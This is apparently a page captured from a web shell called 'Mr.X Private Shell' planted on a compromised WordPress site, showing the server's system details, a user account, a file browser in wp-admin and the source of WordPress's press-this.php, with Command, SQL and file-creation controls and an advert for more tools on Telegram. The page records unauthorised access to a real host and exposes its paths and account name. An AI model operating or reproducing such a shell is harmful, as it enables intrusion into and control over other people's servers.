Uname: Linux webm005.cluster107.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
User: 6036 (villadal)
Group: 100 (users)
Disabled functions: NONE
Safe mode: On[ PHPinfo ]
//home/villadal/www/wp-admin      ( Reset | Go to )
File Name: press-this.php
Edit
<?php
/**
 * Press This Display and Handler.
 *
 * @package WordPress
 * @subpackage Press_This
 */

define'IFRAME_REQUEST'true );

/** WordPress Administration Bootstrap */
require_once __DIR__ '/admin.php';

function 
wp_load_press_this() {
    
$plugin_slug 'press-this';
    
$plugin_file 'press-this/press-this-plugin.php';

    if ( ! 
current_user_can'edit_posts' ) || ! current_user_canget_post_type_object'post' )->cap->create_posts ) ) {
        
wp_die(
            
__'Sorry, you are not allowed to create posts as this user.' ),
            
__'You need a higher level of permission.' ),
            
403
        
);
    } elseif ( 
is_plugin_active$plugin_file ) ) {
        include 
WP_PLUGIN_DIR '/press-this/class-wp-press-this-plugin.php';
        
$wp_press_this = new WP_Press_This_Plugin();
        
$wp_press_this->html();
    } elseif ( 
current_user_can'activate_plugins' ) ) {
        if ( 
file_existsWP_PLUGIN_DIR '/' $plugin_file ) ) {
            
$url    wp_nonce_url(
                
add_query_arg(
                    array(
                        
'action' => 'activate',
                        
'plugin' => $plugin_file,
                        
'from'   => 'press-this',
                    ),
                    
admin_url'plugins.php' )
                ),
                
'activate-plugin_' $plugin_file
            
);
            
$action sprintf(
                
'<a href="%1$s" aria-label="%2$s">%2$s</a>',
                
esc_url$url ),
                
__'Activate Press This' )
            );
        } else {
            if ( 
is_main_site() ) {
                
$url    wp_nonce_url(
                    
add_query_arg(
                        array(
                            
'action' => 'install-plugin',
                            
'plugin' => $plugin_slug,
                            
'from'   => 'press-this',
                        ),
                        
self_admin_url'update.php' )
                    ),
                    
'install-plugin_' $plugin_slug
                
);
                
$action sprintf(
                    
'<a href="%1$s" class="install-now" data-slug="%2$s" data-name="%2$s" aria-label="%3$s">%3$s</a>',
                    
esc_url$url ),
                    
esc_attr$plugin_slug ),
                    
_x'Install Now''plugin' )
                );
            } else {
                
$action sprintf(
                    
/* translators: %s: URL to Press This bookmarklet on the main site. */
                    
__'Press This is not installed. Please install Press This from <a href="%s">the main site</a>.' ),
                    
get_admin_urlget_current_network_id(), 'press-this.php' )
                );
            }
        }
        
wp_die(
            
__'The Press This plugin is required.' ) . '<br />' $action,
            
__'Installation Required' ),
            
200
        
);
    } else {
        
wp_die(
            
__'Press This is not available. Please contact your site administrator.' ),
            
__'Installation Required' ),
            
200
        
);
    }
}

wp_load_press_this();

All system for education purposes only. For more tools: Telegram @jackleet

Mr.X Private Shell

Logo
-
New File | New Folder
Command
SQL